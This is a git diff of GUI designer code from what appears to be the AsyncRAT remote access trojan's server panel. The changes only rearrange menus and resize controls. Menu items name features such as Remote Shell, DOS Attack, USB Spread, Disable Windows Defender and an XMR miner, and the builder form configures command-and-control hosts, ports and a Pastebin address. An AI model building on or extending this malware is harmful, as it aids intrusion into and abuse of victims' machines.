this.lv_group = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
|
||||
this.lv_hwid = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
|
||||
this.lv_user = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
|
||||
this.lv_os = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
|
||||
@ -80,17 +81,7 @@
|
||||
this.disableWindowsDefenderToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.setWallpaperToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.systemToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.clientToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.closeToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.restartToolStripMenuItem2 = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.updateToolStripMenuItem2 = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.uninstallToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.toolStripSeparator3 = new System.Windows.Forms.ToolStripSeparator();
|
||||
this.showFolderToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.pCToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.logoffToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.restartToolStripMenuItem3 = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.shutdownToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.toolStripSeparator1 = new System.Windows.Forms.ToolStripSeparator();
|
||||
this.serverToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.blockClientsToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
@ -131,7 +122,16 @@
|
||||
this.performanceCounter2 = new System.Diagnostics.PerformanceCounter();
|
||||
this.notifyIcon1 = new System.Windows.Forms.NotifyIcon(this.components);
|
||||
this.TimerTask = new System.Windows.Forms.Timer(this.components);
|
||||
this.lv_group = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
|
||||
this.shutdownToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.restartToolStripMenuItem3 = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.logoffToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.closeToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.restartToolStripMenuItem2 = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.updateToolStripMenuItem2 = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.uninstallToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.toolStripSeparator3 = new System.Windows.Forms.ToolStripSeparator();
|
||||
this.showFolderToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.clientToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.contextMenuClient.SuspendLayout();
|
||||
this.statusStrip1.SuspendLayout();
|
||||
this.tabControl1.SuspendLayout();
|
||||
@ -189,6 +189,11 @@
|
||||
this.lv_country.Text = "Country";
|
||||
this.lv_country.Width = 124;
|
||||
//
|
||||
// lv_group
|
||||
//
|
||||
this.lv_group.Text = "Group";
|
||||
this.lv_group.Width = 110;
|
||||
//
|
||||
// lv_hwid
|
||||
//
|
||||
this.lv_hwid.Text = "HWID";
|
||||
@ -249,7 +254,7 @@
|
||||
this.toolStripSeparator5,
|
||||
this.bUILDERToolStripMenuItem});
|
||||
this.contextMenuClient.Name = "contextMenuStrip1";
|
||||
this.contextMenuClient.Size = new System.Drawing.Size(203, 278);
|
||||
this.contextMenuClient.Size = new System.Drawing.Size(238, 278);
|
||||
//
|
||||
// aBOUTToolStripMenuItem
|
||||
//
|
||||
@ -397,7 +402,7 @@
|
||||
//
|
||||
this.botsKillerToolStripMenuItem.Image = global::Server.Properties.Resources.botkiller;
|
||||
this.botsKillerToolStripMenuItem.Name = "botsKillerToolStripMenuItem";
|
||||
this.botsKillerToolStripMenuItem.Size = new System.Drawing.Size(260, 34);
|
||||
this.botsKillerToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
|
||||
this.botsKillerToolStripMenuItem.Text = "Bots Killer";
|
||||
this.botsKillerToolStripMenuItem.Click += new System.EventHandler(this.BotsKillerToolStripMenuItem_Click);
|
||||
//
|
||||
@ -405,7 +410,7 @@
|
||||
//
|
||||
this.uSBSpreadToolStripMenuItem1.Image = global::Server.Properties.Resources.usb;
|
||||
this.uSBSpreadToolStripMenuItem1.Name = "uSBSpreadToolStripMenuItem1";
|
||||
this.uSBSpreadToolStripMenuItem1.Size = new System.Drawing.Size(260, 34);
|
||||
this.uSBSpreadToolStripMenuItem1.Size = new System.Drawing.Size(270, 34);
|
||||
this.uSBSpreadToolStripMenuItem1.Text = "USB Spread";
|
||||
this.uSBSpreadToolStripMenuItem1.Click += new System.EventHandler(this.USBSpreadToolStripMenuItem1_Click);
|
||||
//
|
||||
@ -413,7 +418,7 @@
|
||||
//
|
||||
this.seedTorrentToolStripMenuItem1.Image = global::Server.Properties.Resources.u_torrent_logo;
|
||||
this.seedTorrentToolStripMenuItem1.Name = "seedTorrentToolStripMenuItem1";
|
||||
this.seedTorrentToolStripMenuItem1.Size = new System.Drawing.Size(260, 34);
|
||||
this.seedTorrentToolStripMenuItem1.Size = new System.Drawing.Size(270, 34);
|
||||
this.seedTorrentToolStripMenuItem1.Text = "Seed Torrent";
|
||||
this.seedTorrentToolStripMenuItem1.Click += new System.EventHandler(this.SeedTorrentToolStripMenuItem1_Click_1);
|
||||
//
|
||||
@ -421,7 +426,7 @@
|
||||
//
|
||||
this.remoteShellToolStripMenuItem1.Image = global::Server.Properties.Resources.shell;
|
||||
this.remoteShellToolStripMenuItem1.Name = "remoteShellToolStripMenuItem1";
|
||||
this.remoteShellToolStripMenuItem1.Size = new System.Drawing.Size(260, 34);
|
||||
this.remoteShellToolStripMenuItem1.Size = new System.Drawing.Size(270, 34);
|
||||
this.remoteShellToolStripMenuItem1.Text = "Remote Shell";
|
||||
this.remoteShellToolStripMenuItem1.Click += new System.EventHandler(this.RemoteShellToolStripMenuItem1_Click_1);
|
||||
//
|
||||
@ -429,7 +434,7 @@
|
||||
//
|
||||
this.dOSAttackToolStripMenuItem.Image = global::Server.Properties.Resources.ddos;
|
||||
this.dOSAttackToolStripMenuItem.Name = "dOSAttackToolStripMenuItem";
|
||||
this.dOSAttackToolStripMenuItem.Size = new System.Drawing.Size(260, 34);
|
||||
this.dOSAttackToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
|
||||
this.dOSAttackToolStripMenuItem.Text = "DOS Attack";
|
||||
this.dOSAttackToolStripMenuItem.Click += new System.EventHandler(this.DOSAttackToolStripMenuItem_Click_1);
|
||||
//
|
||||
@ -437,7 +442,7 @@
|
||||
//
|
||||
this.executeNETCodeToolStripMenuItem.Image = global::Server.Properties.Resources.coding;
|
||||
this.executeNETCodeToolStripMenuItem.Name = "executeNETCodeToolStripMenuItem";
|
||||
this.executeNETCodeToolStripMenuItem.Size = new System.Drawing.Size(260, 34);
|
||||
this.executeNETCodeToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
|
||||
this.executeNETCodeToolStripMenuItem.Text = "Execute .NET Code";
|
||||
this.executeNETCodeToolStripMenuItem.Click += new System.EventHandler(this.ExecuteNETCodeToolStripMenuItem_Click_1);
|
||||
//
|
||||
@ -448,7 +453,7 @@
|
||||
this.killToolStripMenuItem});
|
||||
this.xMRMinerToolStripMenuItem.Image = global::Server.Properties.Resources.xmr;
|
||||
this.xMRMinerToolStripMenuItem.Name = "xMRMinerToolStripMenuItem";
|
||||
this.xMRMinerToolStripMenuItem.Size = new System.Drawing.Size(260, 34);
|
||||
this.xMRMinerToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
|
||||
this.xMRMinerToolStripMenuItem.Text = "XMR Miner";
|
||||
this.xMRMinerToolStripMenuItem.Visible = false;
|
||||
//
|
||||
@ -472,7 +477,7 @@
|
||||
//
|
||||
this.filesSearcherToolStripMenuItem.Image = global::Server.Properties.Resources.report;
|
||||
this.filesSearcherToolStripMenuItem.Name = "filesSearcherToolStripMenuItem";
|
||||
this.filesSearcherToolStripMenuItem.Size = new System.Drawing.Size(260, 34);
|
||||
this.filesSearcherToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
|
||||
this.filesSearcherToolStripMenuItem.Text = "Files Searcher";
|
||||
this.filesSearcherToolStripMenuItem.Click += new System.EventHandler(this.filesSearcherToolStripMenuItem_Click);
|
||||
//
|
||||
@ -572,62 +577,8 @@
|
||||
this.pCToolStripMenuItem});
|
||||
this.systemToolStripMenuItem.Image = global::Server.Properties.Resources.system;
|
||||
this.systemToolStripMenuItem.Name = "systemToolStripMenuItem";
|
||||
this.systemToolStripMenuItem.Size = new System.Drawing.Size(202, 32);
|
||||
this.systemToolStripMenuItem.Text = "System";
|
||||
//
|
||||
// clientToolStripMenuItem
|
||||
//
|
||||
this.clientToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
|
||||
this.closeToolStripMenuItem1,
|
||||
this.restartToolStripMenuItem2,
|
||||
this.updateToolStripMenuItem2,
|
||||
this.uninstallToolStripMenuItem,
|
||||
this.toolStripSeparator3,
|
||||
this.showFolderToolStripMenuItem});
|
||||
this.clientToolStripMenuItem.Image = global::Server.Properties.Resources.client;
|
||||
this.clientToolStripMenuItem.Name = "clientToolStripMenuItem";
|
||||
this.clientToolStripMenuItem.Size = new System.Drawing.Size(158, 34);
|
||||
this.clientToolStripMenuItem.Text = "Client";
|
||||
//
|
||||
// closeToolStripMenuItem1
|
||||
//
|
||||
this.closeToolStripMenuItem1.Name = "closeToolStripMenuItem1";
|
||||
this.closeToolStripMenuItem1.Size = new System.Drawing.Size(213, 34);
|
||||
this.closeToolStripMenuItem1.Text = "Close";
|
||||
this.closeToolStripMenuItem1.Click += new System.EventHandler(this.CloseToolStripMenuItem1_Click);
|
||||
//
|
||||
// restartToolStripMenuItem2
|
||||
//
|
||||
this.restartToolStripMenuItem2.Name = "restartToolStripMenuItem2";
|
||||
this.restartToolStripMenuItem2.Size = new System.Drawing.Size(213, 34);
|
||||
this.restartToolStripMenuItem2.Text = "Restart";
|
||||
this.restartToolStripMenuItem2.Click += new System.EventHandler(this.RestartToolStripMenuItem2_Click);
|
||||
//
|
||||
// updateToolStripMenuItem2
|
||||
//
|
||||
this.updateToolStripMenuItem2.Name = "updateToolStripMenuItem2";
|
||||
this.updateToolStripMenuItem2.Size = new System.Drawing.Size(213, 34);
|
||||
this.updateToolStripMenuItem2.Text = "Update";
|
||||
this.updateToolStripMenuItem2.Click += new System.EventHandler(this.UpdateToolStripMenuItem2_Click);
|
||||
//
|
||||
// uninstallToolStripMenuItem
|
||||
//
|
||||
this.uninstallToolStripMenuItem.Name = "uninstallToolStripMenuItem";
|
||||
this.uninstallToolStripMenuItem.Size = new System.Drawing.Size(213, 34);
|
||||
this.uninstallToolStripMenuItem.Text = "Uninstall";
|
||||
this.uninstallToolStripMenuItem.Click += new System.EventHandler(this.UninstallToolStripMenuItem_Click);
|
||||
//
|
||||
// toolStripSeparator3
|
||||
//
|
||||
this.toolStripSeparator3.Name = "toolStripSeparator3";
|
||||
this.toolStripSeparator3.Size = new System.Drawing.Size(210, 6);
|
||||
//
|
||||
// showFolderToolStripMenuItem
|
||||
//
|
||||
this.showFolderToolStripMenuItem.Name = "showFolderToolStripMenuItem";
|
||||
this.showFolderToolStripMenuItem.Size = new System.Drawing.Size(213, 34);
|
||||
this.showFolderToolStripMenuItem.Text = "Show Folder";
|
||||
this.showFolderToolStripMenuItem.Click += new System.EventHandler(this.ShowFolderToolStripMenuItem_Click);
|
||||
this.systemToolStripMenuItem.Size = new System.Drawing.Size(237, 32);
|
||||
this.systemToolStripMenuItem.Text = "Client Managment";
|
||||
//
|
||||
// pCToolStripMenuItem
|
||||
//
|
||||
@ -640,27 +591,6 @@
|
||||
this.pCToolStripMenuItem.Size = new System.Drawing.Size(158, 34);
|
||||
this.pCToolStripMenuItem.Text = "PC";
|
||||
//
|
||||
// logoffToolStripMenuItem1
|
||||
//
|
||||
this.logoffToolStripMenuItem1.Name = "logoffToolStripMenuItem1";
|
||||
this.logoffToolStripMenuItem1.Size = new System.Drawing.Size(195, 34);
|
||||
this.logoffToolStripMenuItem1.Text = "Logoff";
|
||||
this.logoffToolStripMenuItem1.Click += new System.EventHandler(this.LogoffToolStripMenuItem1_Click);
|
||||
//
|
||||
// restartToolStripMenuItem3
|
||||
//
|
||||
this.restartToolStripMenuItem3.Name = "restartToolStripMenuItem3";
|
||||
this.restartToolStripMenuItem3.Size = new System.Drawing.Size(195, 34);
|
||||
this.restartToolStripMenuItem3.Text = "Restart";
|
||||
this.restartToolStripMenuItem3.Click += new System.EventHandler(this.RestartToolStripMenuItem3_Click);
|
||||
//
|
||||
// shutdownToolStripMenuItem1
|
||||
//
|
||||
this.shutdownToolStripMenuItem1.Name = "shutdownToolStripMenuItem1";
|
||||
this.shutdownToolStripMenuItem1.Size = new System.Drawing.Size(195, 34);
|
||||
this.shutdownToolStripMenuItem1.Text = "Shutdown";
|
||||
this.shutdownToolStripMenuItem1.Click += new System.EventHandler(this.ShutdownToolStripMenuItem1_Click);
|
||||
//
|
||||
// toolStripSeparator1
|
||||
//
|
||||
this.toolStripSeparator1.Name = "toolStripSeparator1";
|
||||
@ -679,7 +609,7 @@
|
||||
//
|
||||
this.blockClientsToolStripMenuItem.Image = global::Server.Properties.Resources.disabled;
|
||||
this.blockClientsToolStripMenuItem.Name = "blockClientsToolStripMenuItem";
|
||||
this.blockClientsToolStripMenuItem.Size = new System.Drawing.Size(213, 34);
|
||||
this.blockClientsToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
|
||||
this.blockClientsToolStripMenuItem.Text = "Block Clients";
|
||||
this.blockClientsToolStripMenuItem.Click += new System.EventHandler(this.BlockClientsToolStripMenuItem_Click);
|
||||
//
|
||||
@ -993,10 +923,80 @@
|
||||
this.TimerTask.Interval = 5000;
|
||||
this.TimerTask.Tick += new System.EventHandler(this.TimerTask_Tick);
|
||||
//
|
||||
// lv_group
|
||||
// shutdownToolStripMenuItem1
|
||||
//
|
||||
this.lv_group.Text = "Group";
|
||||
this.lv_group.Width = 110;
|
||||
this.shutdownToolStripMenuItem1.Name = "shutdownToolStripMenuItem1";
|
||||
this.shutdownToolStripMenuItem1.Size = new System.Drawing.Size(270, 34);
|
||||
this.shutdownToolStripMenuItem1.Text = "Shutdown";
|
||||
this.shutdownToolStripMenuItem1.Click += new System.EventHandler(this.ShutdownToolStripMenuItem1_Click);
|
||||
//
|
||||
// restartToolStripMenuItem3
|
||||
//
|
||||
this.restartToolStripMenuItem3.Name = "restartToolStripMenuItem3";
|
||||
this.restartToolStripMenuItem3.Size = new System.Drawing.Size(270, 34);
|
||||
this.restartToolStripMenuItem3.Text = "Restart";
|
||||
this.restartToolStripMenuItem3.Click += new System.EventHandler(this.RestartToolStripMenuItem3_Click);
|
||||
//
|
||||
// logoffToolStripMenuItem1
|
||||
//
|
||||
this.logoffToolStripMenuItem1.Name = "logoffToolStripMenuItem1";
|
||||
this.logoffToolStripMenuItem1.Size = new System.Drawing.Size(270, 34);
|
||||
this.logoffToolStripMenuItem1.Text = "Logoff";
|
||||
this.logoffToolStripMenuItem1.Click += new System.EventHandler(this.LogoffToolStripMenuItem1_Click);
|
||||
//
|
||||
// closeToolStripMenuItem1
|
||||
//
|
||||
this.closeToolStripMenuItem1.Name = "closeToolStripMenuItem1";
|
||||
this.closeToolStripMenuItem1.Size = new System.Drawing.Size(270, 34);
|
||||
this.closeToolStripMenuItem1.Text = "Close";
|
||||
this.closeToolStripMenuItem1.Click += new System.EventHandler(this.CloseToolStripMenuItem1_Click);
|
||||
//
|
||||
// restartToolStripMenuItem2
|
||||
//
|
||||
this.restartToolStripMenuItem2.Name = "restartToolStripMenuItem2";
|
||||
this.restartToolStripMenuItem2.Size = new System.Drawing.Size(270, 34);
|
||||
this.restartToolStripMenuItem2.Text = "Restart";
|
||||
this.restartToolStripMenuItem2.Click += new System.EventHandler(this.RestartToolStripMenuItem2_Click);
|
||||
//
|
||||
// updateToolStripMenuItem2
|
||||
//
|
||||
this.updateToolStripMenuItem2.Name = "updateToolStripMenuItem2";
|
||||
this.updateToolStripMenuItem2.Size = new System.Drawing.Size(270, 34);
|
||||
this.updateToolStripMenuItem2.Text = "Update";
|
||||
this.updateToolStripMenuItem2.Click += new System.EventHandler(this.UpdateToolStripMenuItem2_Click);
|
||||
//
|
||||
// uninstallToolStripMenuItem
|
||||
//
|
||||
this.uninstallToolStripMenuItem.Name = "uninstallToolStripMenuItem";
|
||||
this.uninstallToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
|
||||
this.uninstallToolStripMenuItem.Text = "Uninstall";
|
||||
this.uninstallToolStripMenuItem.Click += new System.EventHandler(this.UninstallToolStripMenuItem_Click);
|
||||
//
|
||||
// toolStripSeparator3
|
||||
//
|
||||
this.toolStripSeparator3.Name = "toolStripSeparator3";
|
||||
this.toolStripSeparator3.Size = new System.Drawing.Size(267, 6);
|
||||
//
|
||||
// showFolderToolStripMenuItem
|
||||
//
|
||||
this.showFolderToolStripMenuItem.Name = "showFolderToolStripMenuItem";
|
||||
this.showFolderToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
|
||||
this.showFolderToolStripMenuItem.Text = "Show Folder";
|
||||
this.showFolderToolStripMenuItem.Click += new System.EventHandler(this.ShowFolderToolStripMenuItem_Click);
|
||||
//
|
||||
// clientToolStripMenuItem
|
||||
//
|
||||
this.clientToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
|
||||
this.closeToolStripMenuItem1,
|
||||
this.restartToolStripMenuItem2,
|
||||
this.updateToolStripMenuItem2,
|
||||
this.uninstallToolStripMenuItem,
|
||||
this.toolStripSeparator3,
|
||||
this.showFolderToolStripMenuItem});
|
||||
this.clientToolStripMenuItem.Image = global::Server.Properties.Resources.client;
|
||||
this.clientToolStripMenuItem.Name = "clientToolStripMenuItem";
|
||||
this.clientToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
|
||||
this.clientToolStripMenuItem.Text = "Client";
|
||||
//
|
||||
// Form1
|
||||
//
|
||||
@ -1098,18 +1098,8 @@
|
||||
private System.Windows.Forms.ToolStripMenuItem runToolStripMenuItem1;
|
||||
private System.Windows.Forms.ToolStripMenuItem stopToolStripMenuItem2;
|
||||
private System.Windows.Forms.ToolStripMenuItem systemToolStripMenuItem;
|
||||
private System.Windows.Forms.ToolStripMenuItem clientToolStripMenuItem;
|
||||
private System.Windows.Forms.ToolStripMenuItem restartToolStripMenuItem2;
|
||||
private System.Windows.Forms.ToolStripMenuItem closeToolStripMenuItem1;
|
||||
private System.Windows.Forms.ToolStripMenuItem updateToolStripMenuItem2;
|
||||
private System.Windows.Forms.ToolStripMenuItem uninstallToolStripMenuItem;
|
||||
private System.Windows.Forms.ToolStripMenuItem pCToolStripMenuItem;
|
||||
private System.Windows.Forms.ToolStripMenuItem logoffToolStripMenuItem1;
|
||||
private System.Windows.Forms.ToolStripMenuItem restartToolStripMenuItem3;
|
||||
private System.Windows.Forms.ToolStripMenuItem shutdownToolStripMenuItem1;
|
||||
private System.Windows.Forms.ToolStripSeparator toolStripSeparator1;
|
||||
private System.Windows.Forms.ToolStripSeparator toolStripSeparator3;
|
||||
private System.Windows.Forms.ToolStripMenuItem showFolderToolStripMenuItem;
|
||||
private System.Windows.Forms.ToolStripMenuItem seedTorrentToolStripMenuItem1;
|
||||
private System.Windows.Forms.ToolStripMenuItem remoteShellToolStripMenuItem1;
|
||||
private System.Windows.Forms.ToolStripMenuItem dOSAttackToolStripMenuItem;
|
||||
@ -1135,6 +1125,16 @@
|
||||
private System.Windows.Forms.ToolStripMenuItem setWallpaperToolStripMenuItem;
|
||||
private System.Windows.Forms.ToolStripMenuItem filesSearcherToolStripMenuItem;
|
||||
private System.Windows.Forms.ColumnHeader lv_group;
|
||||
private System.Windows.Forms.ToolStripMenuItem clientToolStripMenuItem;
|
||||
private System.Windows.Forms.ToolStripMenuItem closeToolStripMenuItem1;
|
||||
private System.Windows.Forms.ToolStripMenuItem restartToolStripMenuItem2;
|
||||
private System.Windows.Forms.ToolStripMenuItem updateToolStripMenuItem2;
|
||||
private System.Windows.Forms.ToolStripMenuItem uninstallToolStripMenuItem;
|
||||
private System.Windows.Forms.ToolStripSeparator toolStripSeparator3;
|
||||
private System.Windows.Forms.ToolStripMenuItem showFolderToolStripMenuItem;
|
||||
private System.Windows.Forms.ToolStripMenuItem logoffToolStripMenuItem1;
|
||||
private System.Windows.Forms.ToolStripMenuItem restartToolStripMenuItem3;
|
||||
private System.Windows.Forms.ToolStripMenuItem shutdownToolStripMenuItem1;
|
||||
}
|
||||
}
|
||||
|
||||
|
345
AsyncRAT-C#/Server/Forms/FormBuilder.Designer.cs
generated
345
AsyncRAT-C#/Server/Forms/FormBuilder.Designer.cs
generated
@ -127,9 +127,11 @@ namespace Server.Forms
|
||||
this.groupBox1.Controls.Add(this.label6);
|
||||
this.groupBox1.Controls.Add(this.textPort);
|
||||
this.groupBox1.Controls.Add(this.label2);
|
||||
this.groupBox1.Location = new System.Drawing.Point(6, 19);
|
||||
this.groupBox1.Location = new System.Drawing.Point(4, 12);
|
||||
this.groupBox1.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
|
||||
this.groupBox1.Name = "groupBox1";
|
||||
this.groupBox1.Size = new System.Drawing.Size(587, 437);
|
||||
this.groupBox1.Padding = new System.Windows.Forms.Padding(2, 2, 2, 2);
|
||||
this.groupBox1.Size = new System.Drawing.Size(391, 284);
|
||||
this.groupBox1.TabIndex = 1;
|
||||
this.groupBox1.TabStop = false;
|
||||
this.groupBox1.Text = "Connection";
|
||||
@ -137,9 +139,10 @@ namespace Server.Forms
|
||||
// btnRemoveIP
|
||||
//
|
||||
this.btnRemoveIP.Font = new System.Drawing.Font("Microsoft Sans Serif", 8F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
|
||||
this.btnRemoveIP.Location = new System.Drawing.Point(190, 156);
|
||||
this.btnRemoveIP.Location = new System.Drawing.Point(127, 101);
|
||||
this.btnRemoveIP.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
|
||||
this.btnRemoveIP.Name = "btnRemoveIP";
|
||||
this.btnRemoveIP.Size = new System.Drawing.Size(43, 26);
|
||||
this.btnRemoveIP.Size = new System.Drawing.Size(29, 17);
|
||||
this.btnRemoveIP.TabIndex = 18;
|
||||
this.btnRemoveIP.Text = "-";
|
||||
this.btnRemoveIP.UseVisualStyleBackColor = true;
|
||||
@ -148,9 +151,10 @@ namespace Server.Forms
|
||||
// btnAddIP
|
||||
//
|
||||
this.btnAddIP.Font = new System.Drawing.Font("Microsoft Sans Serif", 8F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
|
||||
this.btnAddIP.Location = new System.Drawing.Point(72, 156);
|
||||
this.btnAddIP.Location = new System.Drawing.Point(48, 101);
|
||||
this.btnAddIP.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
|
||||
this.btnAddIP.Name = "btnAddIP";
|
||||
this.btnAddIP.Size = new System.Drawing.Size(43, 26);
|
||||
this.btnAddIP.Size = new System.Drawing.Size(29, 17);
|
||||
this.btnAddIP.TabIndex = 17;
|
||||
this.btnAddIP.Text = "+";
|
||||
this.btnAddIP.UseVisualStyleBackColor = true;
|
||||
@ -159,34 +163,37 @@ namespace Server.Forms
|
||||
// listBoxIP
|
||||
//
|
||||
this.listBoxIP.FormattingEnabled = true;
|
||||
this.listBoxIP.ItemHeight = 20;
|
||||
this.listBoxIP.Location = new System.Drawing.Point(72, 66);
|
||||
this.listBoxIP.Location = new System.Drawing.Point(48, 43);
|
||||
this.listBoxIP.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
|
||||
this.listBoxIP.Name = "listBoxIP";
|
||||
this.listBoxIP.Size = new System.Drawing.Size(161, 84);
|
||||
this.listBoxIP.Size = new System.Drawing.Size(109, 56);
|
||||
this.listBoxIP.TabIndex = 16;
|
||||
//
|
||||
// textIP
|
||||
//
|
||||
this.textIP.Location = new System.Drawing.Point(72, 34);
|
||||
this.textIP.Location = new System.Drawing.Point(48, 22);
|
||||
this.textIP.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
|
||||
this.textIP.Name = "textIP";
|
||||
this.textIP.Size = new System.Drawing.Size(161, 26);
|
||||
this.textIP.Size = new System.Drawing.Size(109, 20);
|
||||
this.textIP.TabIndex = 15;
|
||||
//
|
||||
// label1
|
||||
//
|
||||
this.label1.AutoSize = true;
|
||||
this.label1.Location = new System.Drawing.Point(18, 37);
|
||||
this.label1.Location = new System.Drawing.Point(12, 24);
|
||||
this.label1.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
|
||||
this.label1.Name = "label1";
|
||||
this.label1.Size = new System.Drawing.Size(43, 20);
|
||||
this.label1.Size = new System.Drawing.Size(30, 13);
|
||||
this.label1.TabIndex = 14;
|
||||
this.label1.Text = "DNS";
|
||||
//
|
||||
// btnRemovePort
|
||||
//
|
||||
this.btnRemovePort.Font = new System.Drawing.Font("Microsoft Sans Serif", 8F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
|
||||
this.btnRemovePort.Location = new System.Drawing.Point(480, 156);
|
||||
this.btnRemovePort.Location = new System.Drawing.Point(320, 101);
|
||||
this.btnRemovePort.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
|
||||
this.btnRemovePort.Name = "btnRemovePort";
|
||||
this.btnRemovePort.Size = new System.Drawing.Size(43, 26);
|
||||
this.btnRemovePort.Size = new System.Drawing.Size(29, 17);
|
||||
this.btnRemovePort.TabIndex = 13;
|
||||
this.btnRemovePort.Text = "-";
|
||||
this.btnRemovePort.UseVisualStyleBackColor = true;
|
||||
@ -195,9 +202,10 @@ namespace Server.Forms
|
||||
// btnAddPort
|
||||
//
|
||||
this.btnAddPort.Font = new System.Drawing.Font("Microsoft Sans Serif", 8F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
|
||||
this.btnAddPort.Location = new System.Drawing.Point(362, 156);
|
||||
this.btnAddPort.Location = new System.Drawing.Point(241, 101);
|
||||
this.btnAddPort.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
|
||||
this.btnAddPort.Name = "btnAddPort";
|
||||
this.btnAddPort.Size = new System.Drawing.Size(43, 26);
|
||||
this.btnAddPort.Size = new System.Drawing.Size(29, 17);
|
||||
this.btnAddPort.TabIndex = 12;
|
||||
this.btnAddPort.Text = "+";
|
||||
this.btnAddPort.UseVisualStyleBackColor = true;
|
||||
@ -206,18 +214,19 @@ namespace Server.Forms
|
||||
// listBoxPort
|
||||
//
|
||||
this.listBoxPort.FormattingEnabled = true;
|
||||
this.listBoxPort.ItemHeight = 20;
|
||||
this.listBoxPort.Location = new System.Drawing.Point(362, 66);
|
||||
this.listBoxPort.Location = new System.Drawing.Point(241, 43);
|
||||
this.listBoxPort.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
|
||||
this.listBoxPort.Name = "listBoxPort";
|
||||
this.listBoxPort.Size = new System.Drawing.Size(161, 84);
|
||||
this.listBoxPort.Size = new System.Drawing.Size(109, 56);
|
||||
this.listBoxPort.TabIndex = 10;
|
||||
//
|
||||
// chkPastebin
|
||||
//
|
||||
this.chkPastebin.AutoSize = true;
|
||||
this.chkPastebin.Location = new System.Drawing.Point(22, 307);
|
||||
this.chkPastebin.Location = new System.Drawing.Point(15, 200);
|
||||
this.chkPastebin.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
|
||||
this.chkPastebin.Name = "chkPastebin";
|
||||
this.chkPastebin.Size = new System.Drawing.Size(130, 24);
|
||||
this.chkPastebin.Size = new System.Drawing.Size(89, 17);
|
||||
this.chkPastebin.TabIndex = 9;
|
||||
this.chkPastebin.Text = "Use Pastebin";
|
||||
this.toolTip1.SetToolTip(this.chkPastebin, "IP:PORT .. Example 127.0.0.1:6606");
|
||||
@ -228,9 +237,10 @@ namespace Server.Forms
|
||||
//
|
||||
this.txtPastebin.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::Server.Properties.Settings.Default, "Pastebin", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged));
|
||||
this.txtPastebin.Enabled = false;
|
||||
this.txtPastebin.Location = new System.Drawing.Point(106, 352);
|
||||
this.txtPastebin.Location = new System.Drawing.Point(71, 229);
|
||||
this.txtPastebin.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
|
||||
this.txtPastebin.Name = "txtPastebin";
|
||||
this.txtPastebin.Size = new System.Drawing.Size(271, 26);
|
||||
this.txtPastebin.Size = new System.Drawing.Size(182, 20);
|
||||
this.txtPastebin.TabIndex = 8;
|
||||
this.txtPastebin.Text = global::Server.Properties.Settings.Default.Pastebin;
|
||||
this.toolTip1.SetToolTip(this.txtPastebin, "IP:PORT .. Example 127.0.0.1:6606");
|
||||
@ -238,25 +248,28 @@ namespace Server.Forms
|
||||
// label6
|
||||
//
|
||||
this.label6.AutoSize = true;
|
||||
this.label6.Location = new System.Drawing.Point(14, 355);
|
||||
